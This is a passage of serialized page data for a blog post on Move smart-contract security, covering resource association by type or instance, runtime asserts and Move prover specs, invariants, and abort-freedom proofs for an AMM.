oracle",{"type":23,"tag":139,"props":5593,"children":5594},{"style":982},[5595],{"type":28,"value":985},{"type":23,"tag":139,"props":5597,"children":5598},{"style":294},[5599],{"type":28,"value":5600}," borrow_global_mut",{"type":23,"tag":139,"props":5602,"children":5603},{"style":259},[5604],{"type":28,"value":3808},{"type":23,"tag":139,"props":5606,"children":5607},{"style":305},[5608],{"type":28,"value":5609},"Oracle",{"type":23,"tag":139,"props":5611,"children":5612},{"style":259},[5613],{"type":28,"value":5614},">(",{"type":23,"tag":139,"props":5616,"children":5617},{"style":982},[5618],{"type":28,"value":5619},"@",{"type":23,"tag":139,"props":5621,"children":5622},{"style":294},[5623],{"type":28,"value":5624},"oracle",{"type":23,"tag":139,"props":5626,"children":5627},{"style":259},[5628],{"type":28,"value":1820},{"type":23,"tag":139,"props":5630,"children":5631},{"class":141,"line":169},[5632,5636,5641,5645,5650,5654,5659,5663,5668,5672,5677],{"type":23,"tag":139,"props":5633,"children":5634},{"style":279},[5635],{"type":28,"value":1037},{"type":23,"tag":139,"props":5637,"children":5638},{"style":294},[5639],{"type":28,"value":5640}," price",{"type":23,"tag":139,"props":5642,"children":5643},{"style":982},[5644],{"type":28,"value":985},{"type":23,"tag":139,"props":5646,"children":5647},{"style":259},[5648],{"type":28,"value":5649}," table",{"type":23,"tag":139,"props":5651,"children":5652},{"style":982},[5653],{"type":28,"value":1461},{"type":23,"tag":139,"props":5655,"children":5656},{"style":294},[5657],{"type":28,"value":5658},"borrow_mut_with_default",{"type":23,"tag":139,"props":5660,"children":5661},{"style":259},[5662],{"type":28,"value":3808},{"type":23,"tag":139,"props":5664,"children":5665},{"style":305},[5666],{"type":28,"value":5667},"TypeInfo",{"type":23,"tag":139,"props":5669,"children":5670},{"style":259},[5671],{"type":28,"value":1052},{"type":23,"tag":139,"props":5673,"children":5674},{"style":305},[5675],{"type":28,"value":5676},"Decimal",{"type":23,"tag":139,"props":5678,"children":5679},{"style":259},[5680],{"type":28,"value":4591},{"type":23,"tag":139,"props":5682,"children":5683},{"class":141,"line":178},[5684,5689,5693,5697,5701],{"type":23,"tag":139,"props":5685,"children":5686},{"style":982},[5687],{"type":28,"value":5688},"            &",{"type":23,"tag":139,"props":5690,"children":5691},{"style":279},[5692],{"type":28,"value":1713},{"type":23,"tag":139,"props":5694,"children":5695},{"style":294},[5696],{"type":28,"value":5591},{"type":23,"tag":139,"props":5698,"children":5699},{"style":982},[5700],{"type":28,"value":73},{"type":23,"tag":139,"props":5702,"children":5703},{"style":259},[5704],{"type":28,"value":5705},"prices,\n",{"type":23,"tag":139,"props":5707,"children":5708},{"class":141,"line":187},[5709,5714],{"type":23,"tag":139,"props":5710,"children":5711},{"style":294},[5712],{"type":28,"value":5713},"            type_info",{"type":23,"tag":139,"props":5715,"children":5716},{"style":259},[5717],{"type":28,"value":1488},{"type":23,"tag":139,"props":5719,"children":5720},{"class":141,"line":196},[5721,5726,5730,5735],{"type":23,"tag":139,"props":5722,"children":5723},{"style":259},[5724],{"type":28,"value":5725},"            decimal",{"type":23,"tag":139,"props":5727,"children":5728},{"style":982},[5729],{"type":28,"value":1461},{"type":23,"tag":139,"props":5731,"children":5732},{"style":245},[5733],{"type":28,"value":5734},"one",{"type":23,"tag":139,"props":5736,"children":5737},{"style":259},[5738],{"type":28,"value":5739},"()\n",{"type":23,"tag":139,"props":5741,"children":5742},{"class":141,"line":205},[5743],{"type":23,"tag":139,"props":5744,"children":5745},{"style":259},[5746],{"type":28,"value":5747},"        );\n",{"type":23,"tag":139,"props":5749,"children":5750},{"class":141,"line":214},[5751,5756],{"type":23,"tag":139,"props":5752,"children":5753},{"style":982},[5754],{"type":28,"value":5755},"        *",{"type":23,"tag":139,"props":5757,"children":5758},{"style":294},[5759],{"type":28,"value":5760},"price\n",{"type":23,"tag":139,"props":5762,"children":5763},{"class":141,"line":1320},[5764],{"type":23,"tag":139,"props":5765,"children":5766},{"style":259},[5767],{"type":28,"value":1335},{"type":23,"tag":24,"props":5769,"children":5770},{},[5771,5773,5778],{"type":28,"value":5772},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":23,"tag":659,"props":5774,"children":5775},{},[5776],{"type":28,"value":5777},"instance",{"type":28,"value":5779}," of another resource (which is possible in Diem style move).",{"type":23,"tag":24,"props":5781,"children":5782},{},[5783],{"type":28,"value":5784},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":23,"tag":797,"props":5786,"children":5787},{},[5788,5793],{"type":23,"tag":801,"props":5789,"children":5790},{},[5791],{"type":28,"value":5792},"Have unique initializers for your resources",{"type":23,"tag":801,"props":5794,"children":5795},{},[5796],{"type":28,"value":5797},"Associate resources with instances directly",{"type":23,"tag":41,"props":5799,"children":5801},{"id":5800},"formal-verification",[5802],{"type":28,"value":5803},"Formal Verification",{"type":23,"tag":24,"props":5805,"children":5806},{},[5807],{"type":28,"value":5808},"Formal verification is another exciting feature.",{"type":23,"tag":24,"props":5810,"children":5811},{},[5812],{"type":28,"value":5813},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":23,"tag":24,"props":5815,"children":5816},{},[5817,5819,5824],{"type":28,"value":5818},"However, this isn't a silver bullet. The key is figuring out ",{"type":23,"tag":659,"props":5820,"children":5821},{},[5822],{"type":28,"value":5823},"what",{"type":28,"value":5825}," to prove.",{"type":23,"tag":24,"props":5827,"children":5828},{},[5829,5831,5838],{"type":28,"value":5830},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":23,"tag":64,"props":5832,"children":5835},{"href":5833,"rel":5834},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[68],[5836],{"type":28,"value":5837},"Solana AMM rounding issue",{"type":28,"value":5839}," we reported.",{"type":23,"tag":24,"props":5841,"children":5842},{},[5843],{"type":28,"value":5844},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":23,"tag":128,"props":5846,"children":5848},{"className":948,"code":5847,"language":947,"meta":7,"style":7},"  let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n  assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[5849],{"type":23,"tag":135,"props":5850,"children":5851},{"__ignoreMap":7},[5852,5913],{"type":23,"tag":139,"props":5853,"children":5854},{"class":141,"line":142},[5855,5860,5865,5869,5874,5878,5883,5887,5891,5896,5900,5904,5909],{"type":23,"tag":139,"props":5856,"children":5857},{"style":279},[5858],{"type":28,"value":5859},"  let",{"type":23,"tag":139,"props":5861,"children":5862},{"style":294},[5863],{"type":28,"value":5864}," cmp",{"type":23,"tag":139,"props":5866,"children":5867},{"style":982},[5868],{"type":28,"value":985},{"type":23,"tag":139,"props":5870,"children":5871},{"style":259},[5872],{"type":28,"value":5873}," u256",{"type":23,"tag":139,"props":5875,"children":5876},{"style":982},[5877],{"type":28,"value":1461},{"type":23,"tag":139,"props":5879,"children":5880},{"style":245},[5881],{"type":28,"value":5882},"compare",{"type":23,"tag":139,"props":5884,"children":5885},{"style":259},[5886],{"type":28,"value":262},{"type":23,"tag":139,"props":5888,"children":5889},{"style":982},[5890],{"type":28,"value":1085},{"type":23,"tag":139,"props":5892,"children":5893},{"style":294},[5894],{"type":28,"value":5895},"lp_value_after_swap_and_fee",{"type":23,"tag":139,"props":5897,"children":5898},{"style":259},[5899],{"type":28,"value":1052},{"type":23,"tag":139,"props":5901,"children":5902},{"style":982},[5903],{"type":28,"value":1085},{"type":23,"tag":139,"props":5905,"children":5906},{"style":294},[5907],{"type":28,"value":5908},"lp_value_before_swap_u256",{"type":23,"tag":139,"props":5910,"children":5911},{"style":259},[5912],{"type":28,"value":1820},{"type":23,"tag":139,"props":5914,"children":5915},{"class":141,"line":151},[5916,5921,5925,5930,5934,5939],{"type":23,"tag":139,"props":5917,"children":5918},{"style":245},[5919],{"type":28,"value":5920},"  assert!",{"type":23,"tag":139,"props":5922,"children":5923},{"style":259},[5924],{"type":28,"value":262},{"type":23,"tag":139,"props":5926,"children":5927},{"style":294},[5928],{"type":28,"value":5929},"cmp",{"type":23,"tag":139,"props":5931,"children":5932},{"style":982},[5933],{"type":28,"value":1259},{"type":23,"tag":139,"props":5935,"children":5936},{"style":1016},[5937],{"type":28,"value":5938}," 2",{"type":23,"tag":139,"props":5940,"children":5941},{"style":259},[5942],{"type":28,"value":5943},", ERR_INCORRECT_SWAP);\n",{"type":23,"tag":24,"props":5945,"children":5946},{},[5947,5949,5954],{"type":28,"value":5948},"The move prover really shines when we're proving relationships ",{"type":23,"tag":659,"props":5950,"children":5951},{},[5952],{"type":28,"value":5953},"between",{"type":28,"value":5955}," functions.",{"type":23,"tag":24,"props":5957,"children":5958},{},[5959,5961,5967],{"type":28,"value":5960},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":23,"tag":135,"props":5962,"children":5964},{"className":5963},[],[5965],{"type":28,"value":5966},"no_free_money_theorem",{"type":28,"value":5968}," in the move repository.",{"type":23,"tag":128,"props":5970,"children":5972},{"className":948,"code":5971,"language":947,"meta":7,"style":7},"  // #[test] // TODO: cannot specify the test-only functions\n  fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n      let share = add_liquidity(coin1_in, coin2_in);\n      remove_liquidity(share)\n  }\n  spec no_free_money_theorem {\n      pragma verify=false;\n      ensures result_1 \u003C= coin1_in;\n      ensures result_2 \u003C= coin2_in;\n  }\n",[5973],{"type":23,"tag":135,"props":5974,"children":5975},{"__ignoreMap":7},[5976,5984,6072,6114,6135,6142,6158,6184,6211,6236],{"type":23,"tag":139,"props":5977,"children":5978},{"class":141,"line":142},[5979],{"type":23,"tag":139,"props":5980,"children":5981},{"style":958},[5982],{"type":28,"value":5983},"  // #[test] // TODO: cannot specify the test-only functions\n",{"type":23,"tag":139,"props":5985,"children":5986},{"class":141,"line":151},[5987,5991,5996,6000,6005,6009,6013,6017,6022,6026,6030,6034,6038,6042,6047,6051,6055,6059,6063,6068],{"type":23,"tag":139,"props":5988,"children":5989},{"style":294},[5990],{"type":28,"value":4572},{"type":23,"tag":139,"props":5992,"children":5993},{"style":245},[5994],{"type":28,"value":5995}," no_free_money_theorem",{"type":23,"tag":139,"props":5997,"children":5998},{"style":259},[5999],{"type":28,"value":262},{"type":23,"tag":139,"props":6001,"children":6002},{"style":294},[6003],{"type":28,"value":6004},"coin1_in",{"type":23,"tag":139,"props":6006,"children":6007},{"style":982},[6008],{"type":28,"value":2493},{"type":23,"tag":139,"props":6010,"children":6011},{"style":305},[6012],{"type":28,"value":3862},{"type":23,"tag":139,"props":6014,"children":6015},{"style":259},[6016],{"type":28,"value":1052},{"type":23,"tag":139,"props":6018,"children":6019},{"style":294},[6020],{"type":28,"value":6021},"coin2_in",{"type":23,"tag":139,"props":6023,"children":6024},{"style":982},[6025],{"type":28,"value":2493},{"type":23,"tag":139,"props":6027,"children":6028},{"style":305},[6029],{"type":28,"value":3862},{"type":23,"tag":139,"props":6031,"children":6032},{"style":259},[6033],{"type":28,"value":1104},{"type":23,"tag":139,"props":6035,"children":6036},{"style":982},[6037],{"type":28,"value":2493},{"type":23,"tag":139,"props":6039,"children":6040},{"style":259},[6041],{"type":28,"value":1042},{"type":23,"tag":139,"props":6043,"children":6044},{"style":305},[6045],{"type":28,"value":6046},"u64",{"type":23,"tag":139,"props":6048,"children":6049},{"style":259},[6050],{"type":28,"value":1052},{"type":23,"tag":139,"props":6052,"children":6053},{"style":305},[6054],{"type":28,"value":6046},{"type":23,"tag":139,"props":6056,"children":6057},{"style":259},[6058],{"type":28,"value":1062},{"type":23,"tag":139,"props":6060,"children":6061},{"style":294},[6062],{"type":28,"value":4347},{"type":23,"tag":139,"props":6064,"children":6065},{"style":305},[6066],{"type":28,"value":6067}," Pool",{"type":23,"tag":139,"props":6069,"children":6070},{"style":259},[6071],{"type":28,"value":1268},{"type":23,"tag":139,"props":6073,"children":6074},{"class":141,"line":160},[6075,6080,6085,6089,6094,6098,6102,6106,6110],{"type":23,"tag":139,"props":6076,"children":6077},{"style":279},[6078],{"type":28,"value":6079},"      let",{"type":23,"tag":139,"props":6081,"children":6082},{"style":294},[6083],{"type":28,"value":6084}," share",{"type":23,"tag":139,"props":6086,"children":6087},{"style":982},[6088],{"type":28,"value":985},{"type":23,"tag":139,"props":6090,"children":6091},{"style":245},[6092],{"type":28,"value":6093}," add_liquidity",{"type":23,"tag":139,"props":6095,"children":6096},{"style":259},[6097],{"type":28,"value":262},{"type":23,"tag":139,"props":6099,"children":6100},{"style":294},[6101],{"type":28,"value":6004},{"type":23,"tag":139,"props":6103,"children":6104},{"style":259},[6105],{"type":28,"value":1052},{"type":23,"tag":139,"props":6107,"children":6108},{"style":294},[6109],{"type":28,"value":6021},{"type":23,"tag":139,"props":6111,"children":6112},{"style":259},[6113],{"type":28,"value":1820},{"type":23,"tag":139,"props":6115,"children":6116},{"class":141,"line":169},[6117,6122,6126,6131],{"type":23,"tag":139,"props":6118,"children":6119},{"style":245},[6120],{"type":28,"value":6121},"      remove_liquidity",{"type":23,"tag":139,"props":6123,"children":6124},{"style":259},[6125],{"type":28,"value":262},{"type":23,"tag":139,"props":6127,"children":6128},{"style":294},[6129],{"type":28,"value":6130},"share",{"type":23,"tag":139,"props":6132,"children":6133},{"style":259},[6134],{"type":28,"value":273},{"type":23,"tag":139,"props":6136,"children":6137},{"class":141,"line":178},[6138],{"type":23,"tag":139,"props":6139,"children":6140},{"style":259},[6141],{"type":28,"value":3874},{"type":23,"tag":139,"props":6143,"children":6144},{"class":141,"line":187},[6145,6150,6154],{"type":23,"tag":139,"props":6146,"children":6147},{"style":294},[6148],{"type":28,"value":6149},"  spec",{"type":23,"tag":139,"props":6151,"children":6152},{"style":294},[6153],{"type":28,"value":5995},{"type":23,"tag":139,"props":6155,"children":6156},{"style":259},[6157],{"type":28,"value":1268},{"type":23,"tag":139,"props":6159,"children":6160},{"class":141,"line":196},[6161,6166,6171,6175,6180],{"type":23,"tag":139,"props":6162,"children":6163},{"style":294},[6164],{"type":28,"value":6165},"      pragma",{"type":23,"tag":139,"props":6167,"children":6168},{"style":294},[6169],{"type":28,"value":6170}," verify",{"type":23,"tag":139,"props":6172,"children":6173},{"style":982},[6174],{"type":28,"value":1067},{"type":23,"tag":139,"props":6176,"children":6177},{"style":279},[6178],{"type":28,"value":6179},"false",{"type":23,"tag":139,"props":6181,"children":6182},{"style":259},[6183],{"type":28,"value":995},{"type":23,"tag":139,"props":6185,"children":6186},{"class":141,"line":205},[6187,6192,6197,6202,6207],{"type":23,"tag":139,"props":6188,"children":6189},{"style":294},[6190],{"type":28,"value":6191},"      ensures",{"type":23,"tag":139,"props":6193,"children":6194},{"style":294},[6195],{"type":28,"value":6196}," result_1",{"type":23,"tag":139,"props":6198,"children":6199},{"style":982},[6200],{"type":28,"value":6201}," \u003C=",{"type":23,"tag":139,"props":6203,"children":6204},{"style":294},[6205],{"type":28,"value":6206}," coin1_in",{"type":23,"tag":139,"props":6208,"children":6209},{"style":259},[6210],{"type":28,"value":995},{"type":23,"tag":139,"props":6212,"children":6213},{"class":141,"line":214},[6214,6218,6223,6227,6232],{"type":23,"tag":139,"props":6215,"children":6216},{"style":294},[6217],{"type":28,"value":6191},{"type":23,"tag":139,"props":6219,"children":6220},{"style":294},[6221],{"type":28,"value":6222}," result_2",{"type":23,"tag":139,"props":6224,"children":6225},{"style":982},[6226],{"type":28,"value":6201},{"type":23,"tag":139,"props":6228,"children":6229},{"style":294},[6230],{"type":28,"value":6231}," coin2_in",{"type":23,"tag":139,"props":6233,"children":6234},{"style":259},[6235],{"type":28,"value":995},{"type":23,"tag":139,"props":6237,"children":6238},{"class":141,"line":1320},[6239],{"type":23,"tag":139,"props":6240,"children":6241},{"style":259},[6242],{"type":28,"value":3874},{"type":23,"tag":24,"props":6244,"children":6245},{},[6246],{"type":28,"value":6247},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":23,"tag":24,"props":6249,"children":6250},{},[6251,6253,6258],{"type":28,"value":6252},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":23,"tag":659,"props":6254,"children":6255},{},[6256],{"type":28,"value":6257},"lot",{"type":28,"value":6259}," easier to reason about the protocol.",{"type":23,"tag":24,"props":6261,"children":6262},{},[6263],{"type":28,"value":6264},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":23,"tag":128,"props":6266,"children":6268},{"className":948,"code":6267,"language":947,"meta":7,"style":7},"spec PoolState {\n    invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[6269],{"type":23,"tag":135,"props":6270,"children":6271},{"__ignoreMap":7},[6272,6289,6312],{"type":23,"tag":139,"props":6273,"children":6274},{"class":141,"line":142},[6275,6280,6285],{"type":23,"tag":139,"props":6276,"children":6277},{"style":294},[6278],{"type":28,"value":6279},"spec",{"type":23,"tag":139,"props":6281,"children":6282},{"style":305},[6283],{"type":28,"value":6284}," PoolState",{"type":23,"tag":139,"props":6286,"children":6287},{"style":259},[6288],{"type":28,"value":1268},{"type":23,"tag":139,"props":6290,"children":6291},{"class":141,"line":151},[6292,6297,6302,6307],{"type":23,"tag":139,"props":6293,"children":6294},{"style":294},[6295],{"type":28,"value":6296},"    invariant",{"type":23,"tag":139,"props":6298,"children":6299},{"style":294},[6300],{"type":28,"value":6301}," supply",{"type":23,"tag":139,"props":6303,"children":6304},{"style":982},[6305],{"type":28,"value":6306}," >=",{"type":23,"tag":139,"props":6308,"children":6309},{"style":259},[6310],{"type":28,"value":6311}," MINIMUM_LIQUIDITY;\n",{"type":23,"tag":139,"props":6313,"children":6314},{"class":141,"line":160},[6315],{"type":23,"tag":139,"props":6316,"children":6317},{"style":259},[6318],{"type":28,"value":1897},{"type":23,"tag":24,"props":6320,"children":6321},{},[6322,6324,6330,6332,6338],{"type":28,"value":6323},"Another useful pattern for the Move prover is ",{"type":23,"tag":135,"props":6325,"children":6327},{"className":6326},[],[6328],{"type":28,"value":6329},"aborts_if",{"type":28,"value":6331},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":23,"tag":135,"props":6333,"children":6335},{"className":6334},[],[6336],{"type":28,"value":6337},"aborts_if false",{"type":28,"value":73},{"type":23,"tag":24,"props":6340,"children":6341},{},[6342],{"type":28,"value":6343},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":23,"tag":128,"props":6345,"children":6347},{"className":948,"code":6346,"language":947,"meta":7,"style":7},"  fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n      let amounts_times_coins = vector::empty\u003Cu128>();\n      let i = 0;\n      let n_coins = vector::length(&input);\n      while ({\n          spec {\n              invariant len(amounts_times_coins) == i;\n              invariant i \u003C= n_coins;\n              invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n          };\n          (i \u003C n_coins)\n      }) {\n          vector::push_back(\n              &mut amounts_times_coins,\n              (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n          );\n          i = i + 1;\n      };\n      spec {\n          assert i == n_coins;\n          assert len(input) == n_coins;\n      };\n      amounts_times_coins\n  }\n  spec multiply_vec_by_n_coins {\n      pragma opaque;\n      aborts_if false;\n      ensures len(result) == len(input);\n      ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n  }\n",[6348],{"type":23,"tag":135,"props":6349,"children":6350},{"__ignoreMap":7},[6351,6415,6457,6480,6525,6538,6550,6589,6612,6700,6708,6733,6741,6762,6782,6882,6890,6919,6927,6939,6963,6998,7005,7013,7020,7035,7051,7069,7114,7220],{"type":23,"tag":139,"props":6352,"children":6353},{"class":141,"line":142},[6354,6358,6363,6367,6372,6376,6381,6385,6389,6394,6398,6402,6406,6411],{"type":23,"tag":139,"props":6355,"children":6356},{"style":294},[6357],{"type":28,"value":4572},{"type":23,"tag":139,"props":6359,"children":6360},{"style":245},[6361],{"type":28,"value":6362}," multiply_vec_by_n_coins",{"type":23,"tag":139,"props":6364,"children":6365},{"style":259},[6366],{"type":28,"value":262},{"type":23,"tag":139,"props":6368,"children":6369},{"style":294},[6370],{"type":28,"value":6371},"input",{"type":23,"tag":139,"props":6373,"children":6374},{"style":982},[6375],{"type":28,"value":2493},{"type":23,"tag":139,"props":6377,"children":6378},{"style":294},[6379],{"type":28,"value":6380}," vector",{"type":23,"tag":139,"props":6382,"children":6383},{"style":259},[6384],{"type":28,"value":3808},{"type":23,"tag":139,"props":6386,"children":6387},{"style":305},[6388],{"type":28,"value":6046},{"type":23,"tag":139,"props":6390,"children":6391},{"style":259},[6392],{"type":28,"value":6393},">)",{"type":23,"tag":139,"props":6395,"children":6396},{"style":982},[6397],{"type":28,"value":2493},{"type":23,"tag":139,"props":6399,"children":6400},{"style":294},[6401],{"type":28,"value":6380},{"type":23,"tag":139,"props":6403,"children":6404},{"style":259},[6405],{"type":28,"value":3808},{"type":23,"tag":139,"props":6407,"children":6408},{"style":305},[6409],{"type":28,"value":6410},"u128",{"type":23,"tag":139,"props":6412,"children":6413},{"style":259},[6414],{"type":28,"value":5284},{"type":23,"tag":139,"props":6416,"children":6417},{"class":141,"line":151},[6418,6422,6427,6431,6435,6439,6444,6448,6452],{"type":23,"tag":139,"props":6419,"children":6420},{"style":279},[6421],{"type":28,"value":6079},{"type":23,"tag":139,"props":6423,"children":6424},{"style":294},[6425],{"type":28,"value":6426}," amounts_times_coins",{"type":23,"tag":139,"props":6428,"children":6429},{"style":982},[6430],{"type":28,"value":985},{"type":23,"tag":139,"props":6432,"children":6433},{"style":259},[6434],{"type":28,"value":6380},{"type":23,"tag":139,"props":6436,"children":6437},{"style":982},[6438],{"type":28,"value":1461},{"type":23,"tag":139,"props":6440,"children":6441},{"style":294},[6442],{"type":28,"value":6443},"empty",{"type":23,"tag":139,"props":6445,"children":6446},{"style":259},[6447],{"type":28,"value":3808},{"type":23,"tag":139,"props":6449,"children":6450},{"style":305},[6451],{"type":28,"value":6410},{"type":23,"tag":139,"props":6453,"children":6454},{"style":259},[6455],{"type":28,"value":6456},">();\n",{"type":23,"tag":139,"props":6458,"children":6459},{"class":141,"line":160},[6460,6464,6468,6472,6476],{"type":23,"tag":139,"props":6461,"children":6462},{"style":279},[6463],{"type":28,"value":6079},{"type":23,"tag":139,"props":6465,"children":6466},{"style":294},[6467],{"type":28,"value":1378},{"type":23,"tag":139,"props":6469,"children":6470},{"style":982},[6471],{"type":28,"value":985},{"type":23,"tag":139,"props":6473,"children":6474},{"style":1016},[6475],{"type":28,"value":1019},{"type":23,"tag":139,"props":6477,"children":6478},{"style":259},[6479],{"type":28,"value":995},{"type":23,"tag":139,"props":6481,"children":6482},{"class":141,"line":169},[6483,6487,6492,6496,6500,6504,6509,6513,6517,6521],{"type":23,"tag":139,"props":6484,"children":6485},{"style":279},[6486],{"type":28,"value":6079},{"type":23,"tag":139,"props":6488,"children":6489},{"style":294},[6490],{"type":28,"value":6491}," n_coins",{"type":23,"tag":139,"props":6493,"children":6494},{"style":982},[6495],{"type":28,"value":985},{"type":23,"tag":139,"props":6497,"children":6498},{"style":259},[6499],{"type":28,"value":6380},{"type":23,"tag":139,"props":6501,"children":6502},{"style":982},[6503],{"type":28,"value":1461},{"type":23,"tag":139,"props":6505,"children":6506},{"style":245},[6507],{"type":28,"value":6508},"length",{"type":23,"tag":139,"props":6510,"children":6511},{"style":259},[6512],{"type":28,"value":262},{"type":23,"tag":139,"props":6514,"children":6515},{"style":982},[6516],{"type":28,"value":1085},{"type":23,"tag":139,"props":6518,"children":6519},{"style":294},[6520],{"type":28,"value":6371},{"type":23,"tag":139,"props":6522,"children":6523},{"style":259},[6524],{"type":28,"value":1820},{"type":23,"tag":139,"props":6526,"children":6527},{"class":141,"line":178},[6528,6533],{"type":23,"tag":139,"props":6529,"children":6530},{"style":319},[6531],{"type":28,"value":6532},"      while",{"type":23,"tag":139,"props":6534,"children":6535},{"style":259},[6536],{"type":28,"value":6537}," ({\n",{"type":23,"tag":139,"props":6539,"children":6540},{"class":141,"line":187},[6541,6546],{"type":23,"tag":139,"props":6542,"children":6543},{"style":294},[6544],{"type":28,"value":6545},"          spec",{"type":23,"tag":139,"props":6547,"children":6548},{"style":259},[6549],{"type":28,"value":1268},{"type":23,"tag":139,"props":6551,"children":6552},{"class":141,"line":196},[6553,6558,6563,6567,6572,6576,6581,6585],{"type":23,"tag":139,"props":6554,"children":6555},{"style":294},[6556],{"type":28,"value":6557},"              invariant",{"type":23,"tag":139,"props":6559,"children":6560},{"style":245},[6561],{"type":28,"value":6562}," len",{"type":23,"tag":139,"props":6564,"children":6565},{"style":259},[6566],{"type":28,"value":262},{"type":23,"tag":139,"props":6568,"children":6569},{"style":294},[6570],{"type":28,"value":6571},"amounts_times_coins",{"type":23,"tag":139,"props":6573,"children":6574},{"style":259},[6575],{"type":28,"value":1062},{"type":23,"tag":139,"props":6577,"children":6578},{"style":982},[6579],{"type":28,"value":6580},"==",{"type":23,"tag":139,"props":6582,"children":6583},{"style":294},[6584],{"type":28,"value":1378},{"type":23,"tag":139,"props":6586,"children":6587},{"style":259},[6588],{"type":28,"value":995},{"type":23,"tag":139,"props":6590,"children":6591},{"class":141,"line":205},[6592,6596,6600,6604,6608],{"type":23,"tag":139,"props":6593,"children":6594},{"style":294},[6595],{"type":28,"value":6557},{"type":23,"tag":139,"props":6597,"children":6598},{"style":294},[6599],{"type":28,"value":1378},{"type":23,"tag":139,"props":6601,"children":6602},{"style":982},[6603],{"type":28,"value":6201},{"type":23,"tag":139,"props":6605,"children":6606},{"style":294},[6607],{"type":28,"value":6491},{"type":23,"tag":139,"props":6609,"children":6610},{"style":259},[6611],{"type":28,"value":995},{"type":23,"tag":139,"props":6613,"children":6614},{"class":141,"line":214},[6615,6619,6624,6629,6633,6637,6641,6645,6649,6653,6657,6662,6667,6671,6676,6680,6684,6688,6692,6696],{"type":23,"tag":139,"props":6616,"children":6617},{"style":294},[6618],{"type":28,"value":6557},{"type":23,"tag":139,"props":6620,"children":6621},{"style":294},[6622],{"type":28,"value":6623}," forall",{"type":23,"tag":139,"props":6625,"children":6626},{"style":294},[6627],{"type":28,"value":6628}," j",{"type":23,"tag":139,"props":6630,"children":6631},{"style":279},[6632],{"type":28,"value":1013},{"type":23,"tag":139,"props":6634,"children":6635},{"style":1016},[6636],{"type":28,"value":1019},{"type":23,"tag":139,"props":6638,"children":6639},{"style":982},[6640],{"type":28,"value":1024},{"type":23,"tag":139,"props":6642,"children":6643},{"style":294},[6644],{"type":28,"value":1728},{"type":23,"tag":139,"props":6646,"children":6647},{"style":982},[6648],{"type":28,"value":2493},{"type":23,"tag":139,"props":6650,"children":6651},{"style":294},[6652],{"type":28,"value":6426},{"type":23,"tag":139,"props":6654,"children":6655},{"style":259},[6656],{"type":28,"value":1723},{"type":23,"tag":139,"props":6658,"children":6659},{"style":294},[6660],{"type":28,"value":6661},"j",{"type":23,"tag":139,"props":6663,"children":6664},{"style":259},[6665],{"type":28,"value":6666},"] ",{"type":23,"tag":139,"props":6668,"children":6669},{"style":982},[6670],{"type":28,"value":6580},{"type":23,"tag":139,"props":6672,"children":6673},{"style":294},[6674],{"type":28,"value":6675}," input",{"type":23,"tag":139,"props":6677,"children":6678},{"style":259},[6679],{"type":28,"value":1723},{"type":23,"tag":139,"props":6681,"children":6682},{"style":294},[6683],{"type":28,"value":6661},{"type":23,"tag":139,"props":6685,"children":6686},{"style":259},[6687],{"type":28,"value":6666},{"type":23,"tag":139,"props":6689,"children":6690},{"style":982},[6691],{"type":28,"value":2573},{"type":23,"tag":139,"props":6693,"children":6694},{"style":294},[6695],{"type":28,"value":6491},{"type":23,"tag":139,"props":6697,"children":6698},{"style":259},[6699],{"type":28,"value":995},{"type":23,"tag":139,"props":6701,"children":6702},{"class":141,"line":1320},[6703],{"type":23,"tag":139,"props":6704,"children":6705},{"style":259},[6706],{"type":28,"value":6707},"          };\n",{"type":23,"tag":139,"props":6709,"children":6710},{"class":141,"line":1329},[6711,6716,6720,6725,6729],{"type":23,"tag":139,"props":6712,"children":6713},{"style":259},[6714],{"type":28,"value":6715},"          (",{"type":23,"tag":139,"props":6717,"children":6718},{"style":294},[6719],{"type":28,"value":1728},{"type":23,"tag":139,"props":6721,"children":6722},{"style":982},[6723],{"type":28,"value":6724}," \u003C",{"type":23,"tag":139,"props":6726,"children":6727},{"style":294},[6728],{"type":28,"value":6491},{"type":23,"tag":139,"props":6730,"children":6731},{"style":259},[6732],{"type":28,"value":273},{"type":23,"tag":139,"props":6734,"children":6735},{"class":141,"line":1580},[6736],{"type":23,"tag":139,"props":6737,"children":6738},{"style":259},[6739],{"type":28,"value":6740},"      }) {\n",{"type":23,"tag":139,"props":6742,"children":6743},{"class":141,"line":1597},[6744,6749,6753,6758],{"type":23,"tag":139,"props":6745,"children":6746},{"style":259},[6747],{"type":28,"value":6748},"          vector",{"type":23,"tag":139,"props":6750,"children":6751},{"style":982},[6752],{"type":28,"value":1461},{"type":23,"tag":139,"props":6754,"children":6755},{"style":245},[6756],{"type":28,"value":6757},"push_back",{"type":23,"tag":139,"props":6759,"children":6760},{"style":259},[6761],{"type":28,"value":1443},{"type":23,"tag":139,"props":6763,"children":6764},{"class":141,"line":1614},[6765,6770,6774,6778],{"type":23,"tag":139,"props":6766,"children":6767},{"style":982},[6768],{"type":28,"value":6769},"              